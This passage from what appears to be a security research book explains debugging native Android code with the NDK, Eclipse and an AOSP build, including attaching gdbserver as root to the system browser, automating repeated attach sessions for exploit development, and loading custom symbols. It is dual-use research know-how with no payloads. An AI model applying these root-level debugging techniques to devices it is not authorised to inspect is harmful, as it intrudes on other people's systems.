build a debugging-enabled app using the Apache Ant build system by using the
ant debug command. Whichever build system you use, enabling debugging at
build time is essential to successfully debugging the native code.
N O T E Using the scripts discussed in this section requires the NDK directory to be in
your path.
Seeing It in Action
To demonstrate native debugging with the NDK, and in general, we put together
a slightly modified version of the “Hello World” application. Instead of displaying
the string, we use a Java Native Interface (JNI) method to return a string to the
application. The code for the demo application is included with the materials
for this chapter. The following excerpt shows the commands used for building
the application using the NDK:
dev:NativeTest $ NDK_DEBUG=1 ndk-build
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Gdbserver
Gdbsetup
Compile thumb
SharedLibrary
Install
dev:NativeTest
:
:
:
:
:
$
[arm-linux-androideabi-4.6] libs/armeabi/gdbserver
libs/armeabi/gdb.setup
hello-jni <= hello-jni.c
libhello-jni.so
libhello-jni.so => libs/armeabi/libhello-jni.so
Looking at the output, it’s clear that setting the NDK_DEBUG environment
variable causes the ndk-build script to do a couple of extra things. First, the
script adds a gdbserver binary to the application package. This is necessary
because devices don’t usually have a GDB server installed on them. Also, using a
gdbserver binary that matches the GDB client ensures maximum compatibility
and reliability while debugging. The second extra thing that the ndk-build script
does is create a gdb.setup file. Peeking inside this file reveals that it is a short,
auto-generated script for the GDB client. This script helps configure GDB so
that it can find the local copies of libraries, including the JNI, and source code.
When using this build method, building the native code is separate from
building the application package itself. To do the rest, use Apache Ant. You can
build and install a debug package in a single step with Apache Ant by using
the ant debug install command. The following excerpt shows that process,
though much of the output has been omitted for brevity:
dev:NativeTest $ ant debug install
Buildfile: /android/ws/1/NativeTest/build.xml
[...]
install:
[echo] Installing /android/ws/1/NativeTest/bin/MainActivity-debug.apk
onto
default emulator or device...
[exec] 759 KB/s (393632 bytes in 0.506s)
[exec]
pkg: /data/local/tmp/MainActivity-debug.apk
[exec] Success
BUILD SUCCESSFUL
Total time: 16 seconds
With the package installed, you’re finally ready to begin debugging the app.
When executed without any parameters, the ndk-gdb script attempts to find
a running instance of the target application. If none is found, it prints an error
message. There are many ways to deal with this issue, but all except one require
manually starting the application. The most convenient way is to supply the
--start parameter to the ndk-gdb script, as seen in the following excerpt.
dev:NativeTest $ ndk-gdb --start
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> Input stream closed.
GNU gdb (GDB) 7.3.1-gg2
Copyright (C) 2011 Free Software Foundation, Inc.
[...]
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warning: Could not load shared library symbols for 82 libraries, e.g.
libstdc++.so.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
warning: Breakpoint address adjusted from 0x40179b79 to 0x40179b78.
0x401bb5d4 in __futex_syscall3 () from
/android/ws/1/NativeTest/obj/local/armeabi/libc.so
(gdb) break Java_com_example_nativetest_MainActivity_stringFromJNI
Function "Java_com_example_nativetest_MainActivity_stringFromJNI" not
defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (Java_com_example_nativetest_MainActivity_stringFromJNI)
pending.
(gdb) cont
Continuing.
The biggest advantage to using this method is the ability to place breakpoints
early in the native code’s execution paths. However, this feature suffers from
some timing issues when using NDK r9 with Android 4.2.2 and 4.3. More
specifically, the application doesn’t start and instead displays the Waiting for
Debugger dialog indefinitely. Thankfully there is a simple workaround. After
the native GDB client comes up, manually run the Java debugger and connect
to the default endpoint as seen here:
dev:~ $ jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=65534
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>
You can execute this command by suspending the script or running the
command in another window. After JDB is connected, the application starts
executing, and the breakpoint you set in the previous excerpt should fire.
Breakpoint 1, Java_com_example_nativetest_MainActivity_stringFromJNI
(env=0x40168d90, thiz=0x7af0001d) at jni/hello-jni.c:31
31
__android_log_print(ANDROID_LOG_ERROR, "NativeTest", "INSIDE
JNI!");
(gdb)
Employing this workaround makes hitting early breakpoints easy. Even when
starting the app manually, it is usually possible to cause the application to reexecute the onCreate event handler function by rotating the device orientation.
This can help hit some elusive breakpoints as well.
N O T E While writing this book, we contributed a simple patch to fix this issue.
You can find the patch at https://code.google.com/p/android/issues/
detail?id=60685#c4.
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Newer versions of the NDK include the ndk-gdb-py script, which is similar
to ndk-gdb except it is written in Python instead of shell script. Although this
script does not suffer from the endless Waiting for Debugger issue, it has issues
of its own. To be more specific, it has issues when the application targets older
versions of the Android SDK. Fixing this issue is a simple one-line change, but
the change was originally made to fix a previous bug. Hopefully these issues
get ironed out over time, and the debugging facilities of the NDK can be made
more robust and usable.
Looking Under the Hood
So after dodging a minefield of issues, you are able to debug our native code.
But what really happens when you run the ndk-gdb script? Running the script
with the --verbose flag sheds some light on the subject. Consulting the official
documentation, included as docs/NDK-GDB.html in the NDK, also helps paint the
picture. At around 750 lines of shell script, reading the entire thing is approachable. The most relevant parts of the script lie in the final 40 or so lines. The
following excerpt shows the lines from the Android NDK r9 for x86_64 Linux:
708
709
710
711
712
713
714
715
716
717
# Get the app_server binary from the device
APP_PROCESS=$APP_OUT/app_process
run adb_cmd pull /system/bin/app_process `native_path $APP_PROCESS`
log "Pulled app_process from device/emulator."
run adb_cmd pull /system/bin/linker `native_path $APP_OUT/linker`
log "Pulled linker from device/emulator."
run adb_cmd pull /system/lib/libc.so `native_path $APP_OUT/libc.so`
log "Pulled libc.so from device/emulator."
The commands on lines 710, 713, and 716 download three crucial files from
the device. These files are the app_process, linker, and libc.so binaries. These
files contain crucial information and some limited symbols. They do not contain
enough information to enable source-level debugging, but the “Debugging with
Symbols” section later in this chapter explains how to achieve that. Without
the downloaded files, the GDB client will have trouble properly debugging the
target process, especially when dealing with threads. After pulling these files,
the script attempts to launch JDB to satisfy the “Waiting for Debugger” issue
that you dealt with previously. Finally, it launches the GDB client as shown here:
730 # Now launch the appropriate gdb client with the right init
commands
731 #
732 GDBCLIENT=${TOOLCHAIN_PREFIX}gdb
733 GDBSETUP=$APP_OUT/gdb.setup
734 cp -f $GDBSETUP_INIT $GDBSETUP
735 #uncomment the following to debug the remote connection only
736 #echo "set debug remote 1" >> $GDBSETUP
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737
738
739
740
741
742
echo "file `native_path $APP_PROCESS`" >> $GDBSETUP
echo "target remote :$DEBUG_PORT" >> $GDBSETUP
if [ -n "$OPTION_EXEC" ] ; then
cat $OPTION_EXEC >> $GDBSETUP
fi
$GDBCLIENT -x `native_path $GDBSETUP`
Most of these statements, on lines 733 through 741, are building up a script
used by the GDB client. It starts by copying the original gdb.setup file that was
placed into the application during the debug build process. Next, a couple of
comments appear. Uncommenting these lines enables debugging the GDB protocol communications itself. Debugging on this level is good for tracking down
gdbserver instability issues, but isn’t helpful when debugging your own code.
The next two lines tell the GDB client where to find the debug binary and how
to connect to the waiting GDB server. On lines 739 through 741, ndk-gdb appends
a custom script that can be specified with the -x or --exec flag. This option is
particularly useful for automating the creation of breakpoints or executing more
complex scripts. More on this topic is discussed in the “Automating GDB Client”
section later in this chapter. Finally, the GDB client and the freshly generated
GDB script are executed. Understanding how the ndk-gdb script works paves
the way for the types of advanced scripted debugging that is discussed in the
“Increasing Automation” section later in this chapter.
Debugging with Eclipse
When version 20 of the ADT plug-in was released in June 2012, it included support for building and debugging native code. With this addition, it was finally
possible to use the Eclipse IDE to debug C/C++ code. However, installing a version of ADT with native code support is not enough to get started. This section
describes the additional steps necessary to achieve source-level debugging for
native code inside the demonstration application.
Adding Native Code Support
After opening the project, the first step to achieving native debugging is telling
ADT where to find your NDK installation. Inside Eclipse, select Preferences from
the Window menu. Expand the Android item and select NDK. Now enter or
browse to the path where your NDK is installed. Click Apply and then click OK.
Normally, it would be necessary to add native code to the project as well.
Fortunately, the source code in this chapter’s accompanying materials already
includes the necessary native code. If there is an issue, or you want to add native
code to a new Android application project, the steps follow. Otherwise, it is safe
to skip over the next paragraph.
To add native support to the project, start by right-clicking the project in the
Package Explorer view and selecting the Android Tools ➢ Add Native Support
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menu item. In the dialog that displays, type the name of the JNI. In the case of
our demonstration app, this is hello-jni. Click OK. At this point, ADT creates
the jni directory and adds a file called hello-jni.cpp to the project. The next
step is to tweak a few settings before launching the debugger.
Preparing to Debug Native Code
Just as you did before with ndk-gdb, you need to inform the Android build system that you want to build with debugging enabled. Doing this inside Eclipse
requires only a few simple actions. First, select Project ➢ Properties. Expand the
C/++ Build option group and select Environment. Click the Add button. Enter
NDK_DEBUG for the variable name and 1 for the value. After clicking OK, everything is set to begin debugging. To confirm that the new environment variable
is in effect, select Project ➢ Build All. Output similar to that displayed when
using ndk-gdb directly should be displayed in the Console view. In particular,
look for the lines starting with Gdb.
Seeing It in Action
Because the goal is to debug the code, you still want to confirm that everything
is working as it should. The simplest way to do that is to verify that you can
interactively hit a breakpoint inside Eclipse. First, place a breakpoint inside
the JNI method where you want to break. For the demonstration app, the line
with the call to the __android_log_print function is an ideal location. After
the breakpoint is set, fire up a debug session by clicking the Debug As toolbar
button. If this application has never been debugged before, you see a dialog
asking which way to debug it. For debugging native code, select Android Native
Application and click OK. ADT launches the native debugger, attaches to the
remote process, and continues execution. With a bit of luck, you see our breakpoint hit as shown in Figure 7-8.
Unfortunately, success is left to luck because of another form of the Waiting
for Debugger issue. This time, rather than waiting forever, it gets dismissed
too quickly and you miss the breakpoint the first time around. Thankfully, the
orientation toggle workaround lets you cause the onCreate event to fire again
and thus re-execute your native code, thereby stopping on your breakpoint.
Debugging with AOSP
The AOSP repository contains almost everything you need to get up and running. An ADB binary, which normally comes from the SDK Platform Tools, is the
only other thing that’s needed. Because Nexus devices are directly supported by
AOSP, using a Nexus device for debugging native code provides the best experience. In fact, nearly all of the examples in this chapter were developed with the
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use of a Nexus device. Further, Nexus devices ship with binaries built using the
userdebug build variant. This is evidenced by the existence of a .gnu_debuglink
section in the Executable and Linker Format (ELF) binary. Using this build
variant creates partial symbols for all the native code binaries on the device.
This section walks through the process of using an AOSP checkout to debug
the Android browser, which breaks down into three basic phases: setting up
the environment, attaching to the browser, and connecting the debugger client.
Figure 7-8: Stopped at a native breakpoint in Eclipse
N O T E Due to the security model of Android, debugging system processes written
in native code requires root access. You can obtain root access by using an eng build
or by applying the information supplied in Chapter 3.
Setting Up the Environment
Before attaching GDB to the target process, you must set up your environment.
Using AOSP, you can accomplish this with only a few simple commands. In the
following excerpt, you set up the environment for debugging programs writing
in C/C++ on a GSM Galaxy Nexus running Android 4.3 (JWR66Y).
dev:~/android/source $ mkdir -p device/samsung && cd $_
dev:~/android/source/device/samsung $ git clone \
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/aosp-mirror/device/samsung/maguro.git
Cloning into 'maguro'...
done.
dev:~/android/source/device/samsung $ git clone \
/aosp-mirror/device/samsung/tuna.git
Cloning into 'tuna'...
done.
dev:~/android/source/device/samsung $ cd ../..
dev:~/android/source $ . build/envsetup.sh
including device/samsung/maguro/vendorsetup.sh
including sdk/bash_completion/adb.bash
dev:~/android/source $ lunch full_maguro-userdebug
============================================
PLATFORM_VERSION_CODENAME=REL
PLATFORM_VERSION=4.3
TARGET_PRODUCT=full_maguro
TARGET_BUILD_VARIANT=userdebug
TARGET_BUILD_TYPE=release
TARGET_BUILD_APPS=
TARGET_ARCH=arm
TARGET_ARCH_VARIANT=armv7-a-neon
TARGET_CPU_VARIANT=cortex-a9
HOST_ARCH=x86
HOST_OS=linux
HOST_OS_EXTRA=Linux-3.2.0-52-generic-x86_64-with-Ubuntu-12.04-precise
HOST_BUILD_TYPE=release
BUILD_ID=JWR66Y
OUT_DIR=out
============================================
The first few commands obtain the device-specific directories for the Galaxy
Nexus, which are required for this process. The device/samsung/maguro repository is specific to the GSM Galaxy Nexus, whereas the device/samsung/tuna
repository contains items shared with the CDMA/LTE Galaxy Nexus. Finally,
you set up and initialize the AOSP build environment by loading the build/
envsetup.sh script into your shell and executing the lunch command.
With the AOSP environment set up, the next step is to set up the device.
Because production images (user and userdebug builds) do not include a GDB
server binary, you need to upload one. Thankfully, the AOSP prebuilts directory includes exactly the gdbserver binary you need. The next excerpt shows
the command for achieving this, including the path to the gdbserver binary
within the AOSP repository:
dev:~/android/source $ adb push prebuilts/misc/android-arm/gdbserver/
gdbserver \
/data/local/tmp
1393 KB/s (186112 bytes in 0.130s)
dev:~/android/source $ adb shell chmod 755 /data/local/tmp/gdbserver
dev:~/android/source $
Now that the gdbserver binary is on the device, you are almost ready to
attach to the browser process.
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In this demonstration, you will be connecting the GDB client to the GDB
server using a standard TCP/IP connection. To do this, you must choose one of
two methods. If the device is on the same Wi-Fi network as the debugging host,
you can simply use its IP address instead of 127.0.0.1 in the following sections.
However, remote debugging over Wi-Fi can be troublesome due to slow speeds,
signal issues, power-saving features, or other issues. To avoid these issues, we
recommend debugging using ADB over USB when possible. Still, some situations, such as debugging USB processing, may dictate which method needs to
be used. To use USB, you need to use ADB’s port-forwarding feature to open a
conduit for your GDB client. Doing so is straightforward, as shown here:
dev:~/android/source $ adb forward tcp:31337 tcp:31337
With this step completed, you have finished initializing your minimal debugging environment.
Attaching to the Browser
The next step is to use the GDB server to either execute the target program or
attach to an existing process. Running the gdbserver binary without any arguments shows the command-line arguments that it expects.
dev:~/android/source $ adb shell /data/local/tmp/gdbserver
Usage: gdbserver [OPTIONS] COMM PROG [ARGS ...]
gdbserver [OPTIONS] --attach COMM PID
gdbserver [OPTIONS] --multi COMM
COMM may either be a tty device (for serial debugging), or
HOST:PORT to listen for a TCP connection.
Options:
--debug
--remote-debug
--version
--wrapper WRAPPER --
Enable general debugging output.
Enable remote protocol debugging output.
Display version information and exit.
Run WRAPPER to start new programs.
The preceding usage output shows that three different modes are supported
by this gdbserver binary. All three require a COMM parameter, which is described
in the excerpt above. For this parameter, use the port that you forwarded previously, tcp:31337. The first supported mode shown is for executing a program.
It allows specifying the target program and the desired parameters to pass to
it. The second supported mode allows attaching to an existing process, using
the process ID specified by the PID parameter. The third supported mode is
called multiprocess mode. In this mode, gdbserver listens for a client but does
not automatically execute or attach to a process. Instead, it defers to the client
for instructions.
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For the demonstration, we use attach mode because it is more resilient to
crashes in the GDB client or server, which unfortunately happen on occasion.
After choosing an operating mode, you are ready to attach to the browser.
However, attaching to the browser requires that is running already. It doesn’t
run automatically on boot, so you have to start it using the following command:
[email protected]:/ $ am start -a android.intent.action.VIEW \
-d about:blank com.google.android.browser
Starting: Intent { act=android.intent.action.VIEW dat=about:blank }
You use the am command with the start parameter to send an intent asking
the browser to open and navigate to the about:blank URI. Further, you specify
the browser’s package name, com.google.android.browser, to prevent accidently
spawning other browsers that may be installed. It’s a perfectly viable alternative
to spawn the browser manually as well.
The last thing that you need to attach to the now-running browser is its
process ID. Use the venerable BusyBox tool, either by itself or in combination
with the ps command, to find this last detail preventing you from attaching.
2051 [email protected]:/ $ ps | /data/local/tmp/busybox grep browser
u0_a4
2051 129
522012 59224 ffffffff 00000000 S
com.google.android.browser
[email protected]:/ $ /data/local/tmp/busybox pidof \
com.google.android.browser
2051
Now, spawn gdbserver using attach mode. To do this, first exit from the
ADB shell and return to the host machine shell. Use the adb shell command
to spawn gdbserver, instructing it to attach to the browser’s process ID.
dev:~/android/source $ adb shell su -c /data/local/tmp/gdbserver \
--attach tcp:31337 2225
Attached; pid = 2225
Listening on port 31337
^Z
[1]+ Stopped
adb shell su -c /data/local/tmp/gdbserver
--attach tcp:31337 2225
dev:~/android/source $ bg
[1]+ adb shell su -c /data/local/tmp/gdbserver --attach tcp:31337 2225 &
After gdbserver is started, use the Control-Z key combination to suspend the
process. Then put the adb process into the background using bash’s bg command.
Alternatively, you could send ADB to the background from the beginning using
bash’s & control operator, which is similar to the bg command. This frees up the
terminal so you can attach the GDB client.
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Connecting the GDB Client
The final phase in the process is connecting the GDB client to the GDB server
that is listening on the device. AOSP includes a fully functioning GDB client.
Newer revisions of AOSP even include Python support in the included GDB
client. You spawn and connect the client as shown here:
dev:~/android/source $ arm-eabi-gdb -q
(gdb) target remote :31337
Remote debugging using :31337
Remote debugging from host 127.0.0.1
0x4011d408 in ?? ()
(gdb) back
#0 0x4011d408 in ?? ()
#1 0x400d1fcc in ?? ()
#2 0x400d1fcc in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt
stack?)
(gdb)
After executing the client, instruct it to connect to the waiting GDB server using
the target remote command. The argument to this command corresponds to
the port that you previously forwarded using ADB when setting up the environment. Note that the GDB client defaults to using the local loopback interface
when the IP address is omitted. From here, you have full access to the target
process. You can set breakpoints, inspect registers, inspect memory, and more.
Using the gdbclient Command
The AOSP build environment event defines a bash built-in command,
gdbclient, for automating much of the process covered earlier. It can forward
ports, spawn a GDB server, and connect the GDB client automatically. Based
on the requirement that the gdbserver binary is on the device and in the ADB
user’s execution path, it is likely intended to be used with a device running an
eng build. You can view the full definition of this built-in by using the following shell command:
dev:~/android/source $ declare -f gdbclient
gdbclient ()
{
[...]
The entirety of the command was omitted for brevity. You are encouraged
to follow along using your own build environment.
The first thing that gdbclient does is query the Android build system to
identify details defined during the environment initialization process detailed
earlier. This includes paths and variables such as the target architecture. Next,
gdbclient attempts to determine how it was invoked. It can be started with
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zero, one, two, or three arguments. The first argument is the name of a binary
within the /system/bin directory. The second argument is the port number to
forward, prefixed by a colon character. These first two arguments simply override the defaults of app_process and :5039, respectively.
The third argument specifies the process ID or command name to which
it will attach. If the third argument is a command name, gdbclient attempts
to resolve the process ID of that command on the target device using the pid
built-in. When the third argument is successfully processed, gdbclient uses
ADB to automatically forward a port to the device and attaches the gdbserver
binary to the target process. If the third argument is omitted, the onus is on the
user to spawn a GDB server.
Next, gdbclient generates a GDB script much like the ndk-gdb script does.
It sets up some symbol-related GDB variables and instructs the GDB client to
connect to the waiting GDB server. However, there are two big differences from
the ndk-gdb script. First, gdbclient depends on symbols from a custom build
rather than pulling binaries from the target device. If no custom build was done,
gdbclient is unlikely to work. Second, gdbclient does not allow the user to
specify any additional commands or scripts for the GDB client to execute. The
inflexibility and assumptions made by the gdbclient built-in make it difficult
to use, especially in advanced debugging scenarios. Although it may be possible
to work around some of these issues by redefining the gdbwrapper built-in or
creating a custom .gdbinit file, these options were not explored and are instead
left as an exercise to the reader.
Increasing Automation
Debugging an application like the Android browser can be very time consuming.
When developing exploits, reverse-engineering, or digging deep into a problem, there are a few small things that can help a lot. Automating the process of
spawning the GDB server and client helps streamline the debugging experience.
Using the methods outlined in this section also enables automating projectspecific actions, which in this demonstration apply directly to debugging the
Android browser. You might notice that these methods are quite similar to those
employed in Chapter 6, but they aim to improve productivity for a researcher
instead of fully automating testing. The goal is to automate as many mundane
tasks as possible while still giving the researcher room to apply their expertise.
Automating On-Device Tasks
In many scenarios, such as developing an exploit, it is necessary to engage in a
large number of debugging sessions. Unfortunately, in attach mode, gdbserver
exits after the debugging session completes. In these situations, it helps to use
a couple small shell scripts to automate the process of repeatedly attaching.
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The first step is to create the following small shell script on the host and make
it executable.
dev:~/android/source $ cat > debugging.sh
#!/bin/sh
while true; do
sleep 4
adb shell 'su -c /data/local/tmp/attach.sh' >> adb.log 2>&1
done
^D
dev:~/android/source $ chmod 755 debugging.sh
dev:~/android/source $
Running this in the background on the host ensures that a gdbserver instance
is re-spawned on the device four seconds after it exits. The delay is to give the
target process time to clear out from the system. Though this could also be
accomplished with a shell script on the device itself, running it on the host helps
prevent accidentally exposing the gdbserver endpoint to untrusted networks.
Next, create the /data/local/tmp/attach.sh shell script on the device and
make it executable.
[email protected]:/data/local/tmp $ cat > attach.sh
#!/system/bin/sh
# start the browser
am start -a android.intent.action.VIEW -d about:blank \
com.google.android.browser
# wait for it to start
sleep 2
# attach gdbserver
cd /data/local/tmp
PID=`./busybox pidof com.google.android.browser` # requires busybox
./gdbserver --attach tcp:31337 $PID
^D
[email protected]:/data/local/tmp $ chmod 755 attach.sh
[email protected]:/data/local/tmp $
This script handles starting the browser, obtaining its process ID, and attaching the GDB server to it. With the two scripts in place, simply execute the first
script in the background on the host.
dev:~/android/source $ ./debugging.sh &
[1] 28994
Using these two small scripts eliminates unnecessarily switching windows
to re-spawn gdbserver. This enables the researcher to focus on the task at hand,
using the GDB client to debug the target process.
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Automating GDB Client
Automating the GDB client helps further streamline the analysis process. All
modern GDB clients support a custom scripting language specific to GDB.
Newer versions of the AOSP GDB client include support for Python scripting
as well. This section uses GDB scripting to automate the process of connecting
to a waiting gdbserver process.
For simply attaching to the remote GDB server, it suffices to use the GDB client’s -ex switch. This option enables the researcher to specify a single command
to run after the GDB client starts. The following excerpt shows how you use
this to attach to your waiting GDB server using the target remote command:
dev:~/android/source $ arm-eabi-gdb -q -ex "target remote :31337"
Remote debugging using :31337
Remote debugging from host 127.0.0.1
0x401b5ee4 in ?? ()
(gdb)
Sometimes, as you will see in the following sections, it’s necessary to automatically execute several GDB client commands. Although it is possible to use
the -ex switch multiple times on one command line, another method is more
suitable. In addition to -ex, the GDB client also supports the -x switch. Using
this switch, a researcher places the commands they switch to use into a file
and passes the filename as the argument following the -x switch. You saw this
feature used in the “Debugging with the NDK” section earlier in this chapter.
Also, GDB reads and executes commands from a file called .gdbinit in the current directory by default. Placing the script commands into this file alleviates
the need for specifying any extra switches to GDB at all.
Regardless of which method you use, scripting GDB is extremely helpful in
automating debugging sessions. Using GDB scripts allows setting up complex,
project-specific actions such as custom tracing, interdependent breakpoints, and
more. More advanced scripting is covered in the sections covering vulnerability
analysis later in this chapter.
Debugging with Symbols
Above all else, symbols are the most helpful pieces of information when debugging native code. They encapsulate information that is useful for a human and
tie it to the code locations in a binary. Recall that symbols for ARM binaries are
also used to convey processor mode information to the debugger. Debugging
without symbols, which is covered further in the “Debugging with a Non-AOSP
Device” section, can be a terribly painful experience. Whether they are present or must be custom built, always seek out and utilize symbols. This section
discusses the nuances of the symbols and provides guidance for how best to
utilize symbols when debugging native code on Android.
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The binaries on an Android device contain differing levels of symbolic information. This varies from device to device as well as among the individual binaries
on a single device. Production devices, such as those sold by mobile carriers,
often do not include any symbols in their binaries. Some devices, including
Nexus devices, have many binaries that contain partial symbols. This is typical
of a device using a userdebug or eng build of Android. Partial symbols provide
some humanly identifiable information, such as function names, but do not
provide file or line number information. Finally, binaries with full symbols
contain extensive information to assist a human who is debugging the code. Full
symbols include file and line number information, which can be used to enable
source-level debugging. In short, difficulties encountered while debugging native
code on Android are inversely proportionate to the level of symbols present.
Obtaining Symbols
Several vendors in the software industry, such as Microsoft and Mozilla, provide
symbols to the public via symbol servers. However, no vendors in the Android
world provide symbols for their builds. In fact, obtaining symbols for Android
builds typically requires building them from source, which in turn requires a
fairly beefy build machine. With the exception of a rare engineering build leak
or the partial symbols present on Nexus devices, custom builds are the only
way to obtain symbols.
Thankfully, it is possible to build an entire device image for AOSP-supported
devices. As part of the build process, files containing symbolic information
are created in parallel to the release files. Because some binaries containing
symbols are very large, flashing them to a device would quickly exhaust the
available space of the system. For example, the WebKit library libwebcore.so
with symbols is in excess of 450 megabytes. When remote debugging, you can
utilize these large files with symbols in conjunction with the binaries without
symbols that are running on the device.
In addition to building a full device image, it is also possible to build individual
components. Taking this route speeds build time and makes the debugging process more efficient. Using either the make command or the mm built-in from the
build system, you can build only the components that you need. Dependencies
are built automatically as well. From the top-level AOSP directory, execute make
or mm with the first argument specifying the desired component. To find a list
of component names use the following command:
dev:~/android/source $ find . -name Android.mk -print -exec grep \
^'LOCAL_MODULE ' {} \;
[...]
./external/webkit/Android.mk
LOCAL_MODULE := libwebcore
[...]
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This outputs the path for each Android.mk file, along with any modules defined
by it. As you can see from the excerpt, the libwebcore module is defined in the
external/webkit/Android.mk file. Therefore, running mm libwebcore builds
the desired component. The build system writes the file containing symbols to
system/lib/libwebcore.so inside the out/target/product/maguro/symbols
directory. The maguro portion of the path is specific to the target device. Building
for a different device would use the name of that product instead, such as mako
for a Nexus 4.
Making Use of Symbols
After you’ve obtained symbols, either using the process just described or via
other means, putting them to use is the next step. Whether you use gdbclient,
the ndk-gdb script, or GDB directly, it is possible to get your newly acquired
symbols loaded for a much-improved debugging experience. Although the
process varies slightly for each method, the underlying GDB client is what
ultimately loads and displays the symbols in all cases. Here we explain how
to get each of these methods to use the symbols you built and discuss ways to
improve symbol loading further.
The gdbclient built-in provided by AOSP automatically uses symbols if
they’ve been built. It obtains the path to the built symbols using the Android
build system and instructs the GDB client to look there. Unfortunately, gdbclient uses symbols for all modules present, which is nearly all modules in a
default build. Due to the sheer size of modules with symbols, this can be quite
slow. It is rarely necessary to load the symbols for all modules.
When debugging with the NDK alone, the ndk-gdb script also supports loading
symbols automatically. Unlike the gdbclient built-in, the ndk-gdb script pulls
the app_process, linker, and libc.so files directly from the target device itself.
Recall that these binaries typically have only partial symbols. One would think
that replacing these files with custom-built binaries with full symbols would
improve the situation. Unfortunately, ndk-gdb overwrites the existing files if
they already exist. To avoid this behavior, simply comment out the lines starting with run adb_cmd pull. After doing so, ndk-gdb uses the binaries with full
symbols. Because only a few files with symbols are present, using ndk-gdb is
generally quite fast compared to using gdbclient. Still, we prefer to have more
control over exactly which symbols are loaded.
As discussed in depth in the “Debugging with AOSP” and “Increasing
Automation” sections earlier in this chapter, invoking the AOSP GDB client
directly is our preferred method for debugging native code. Using this method
provides the most control over what happens, both on the target device and
within the GDB client itself. It also allows managing project-specific configuration details that are useful when engaging in several different debugging
projects simultaneously. The rest of this section outlines how to set up such an
environment and create an optimized Android browser debugging experience.
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The first step to creating an optimized, project-specific debugging environment is creating a directory to hold your project specific data. For the purposes
of this demonstration, create the gn-browser-dbg directory inside the AOSP
root directory:
dev:~/android/source $ mkdir -p gn-browser-dbg && cd $_
dev:gn-browser-dbg $
Next, create symbolic links to the modules for which you want to load symbols.
Rather than use the entire symbols directory, as the gdbclient built-in does,
use the current directory combined with these symbolic links. Loading all of
the symbols is wasteful, time consuming, and often unnecessary. Although
storing the symbol files on a blazing fast SSD or RAM drive helps, it’s only a
marginal improvement. To speed the process, you want to load symbols for a
limited set of modules:
dev:gn-browser-dbg
dev:gn-browser-dbg
dev:gn-browser-dbg
dev:gn-browser-dbg
dev:gn-browser-dbg
dev:gn-browser-dbg
dev:gn-browser-dbg
dev:gn-browser-dbg
dev:gn-browser-dbg
$
$
$
$
$
$
$
$
$
ln
ln
ln
ln
ln
ln
ln
ln
ln
-s
-s
-s
-s
-s
-s
-s
-s
-s
../out/target/product/maguro/symbols
symbols/system/bin/linker
symbols/system/bin/app_process
symbols/system/lib/libc.so
symbols/system/lib/libwebcore.so
symbols/system/lib/libstdc++.so
symbols/system/lib/libdvm.so
symbols/system/lib/libutils.so
symbols/system/lib/libandroid_runtime.so
Here you first create a symbolic link to the symbols directory itself. Then
you create symbolic links from within it for the core system files as well as
libwebcore.so (WebKit), libstdc++.so, and libdvm.so (the Dalvik VM).
With your directory and symbolic links created, the next step is to create
the GDB script. This script serves as the basis for your debugging project and
enables you to include more advanced scripts directly inside. You only need
two commands to get started:
dev:gn-browser-dbg $ cat > script.gdb
# tell gdb where to find symbols
set solib-search-path .
target remote 127.0.0.1:31337
^D
dev:gn-browser-dbg $
The first command, as the comment indicates, tells the GDB client to look in
the current directory for files with symbols. The GDB server indicates which
modules are loaded and the GDB client loads modules accordingly. The second
command should be familiar. It instructs the GDB client where to find the waiting GDB server.
Finally, you are ready to run everything to see how well it works. The next
excerpt shows this minimal debug configuration in action.
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dev:gn-browser-dbg $ arm-eabi-gdb -q -x script.gdb app_process
Reading symbols from /android/source/gn-browser-dbg/app_process...done.
warning: Could not load shared library symbols for 86 libraries, e.g. libm.
so.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
warning: Breakpoint address adjusted from 0x40079b79 to 0x40079b78.
epoll_wait () at bionic/libc/arch-arm/syscalls/epoll_wait.S:10
10
mov
r7, ip
(gdb) back
#0 epoll_wait () at bionic/libc/arch-arm/syscalls/epoll_wait.S:10
#1 0x400d1fcc in android::Looper::pollInner (this=0x415874c8,
timeoutMillis=<optimized
out>)
at frameworks/native/libs/utils/Looper.cpp:218
#2 0x400d21f0 in android::Looper::pollOnce (this=0x415874c8,
timeoutMillis=-1,
outFd=0x0, outEvents=0x0, outData=0x0)
at frameworks/native/libs/utils/Looper.cpp:189
#3 0x40209c68 in pollOnce (timeoutMillis=<optimized out>,
this=<optimized out>) at frameworks/native/include/utils/Looper.h:176
#4 android::NativeMessageQueue::pollOnce (this=0x417fdb10, env=0x416d1d90,
timeoutMillis=<optimized out>)
at frameworks/base/core/jni/android_os_MessageQueue.cpp:97
#5 0x4099bc50 in dvmPlatformInvoke () at dalvik/vm/arch/arm/CallEABI.S:258
#6 0x409cbed2 in dvmCallJNIMethod (args=0x579f9e18, pResult=0x417841d0,
method=0x57b57860, self=0x417841c0)
at dalvik/vm/Jni.cpp:1185
#7 0x409a5064 in dalvik_mterp () at
dalvik/vm/mterp/out/InterpAsm-armv7-a-neon.S:16240
#8 0x409a95f0 in dvmInterpret (self=0x417841c0, method=0x57b679b8,
pResult=0xbec947d0) at dalvik/vm/interp/Interp.cpp:1956
#9 0x409de1e2 in dvmInvokeMethod (obj=<optimized out>, method=0x57b679b8,
argList=<optimized out>, params=<optimized out>,
returnType=0x418292a8, noAccessCheck=false) at
dalvik/vm/interp/Stack.cpp:737
#10 0x409e5de2 in Dalvik_java_lang_reflect_Method_invokeNative
(args=<optimized
out>, pResult=0x417841d0)
at dalvik/vm/native/java_lang_reflect_Method.cpp:101
#11 0x409a5064 in dalvik_mterp () at
dalvik/vm/mterp/out/InterpAsm-armv7-a-neon.S:16240
#12 0x409a95f0 in dvmInterpret (self=0x417841c0, method=0x57b5cc30,
pResult=0xbec94960)
at dalvik/vm/interp/Interp.cpp:1956
#13 0x409ddf24 in dvmCallMethodV (self=0x417841c0, method=0x57b5cc30,
obj=<optimized out>, fromJni=<optimized out>,
pResult=0xbec94960, args=...) at dalvik/vm/interp/Stack.cpp:526
#14 0x409c7b6a in CallStaticVoidMethodV (env=<optimized out>,
jclazz=<optimized
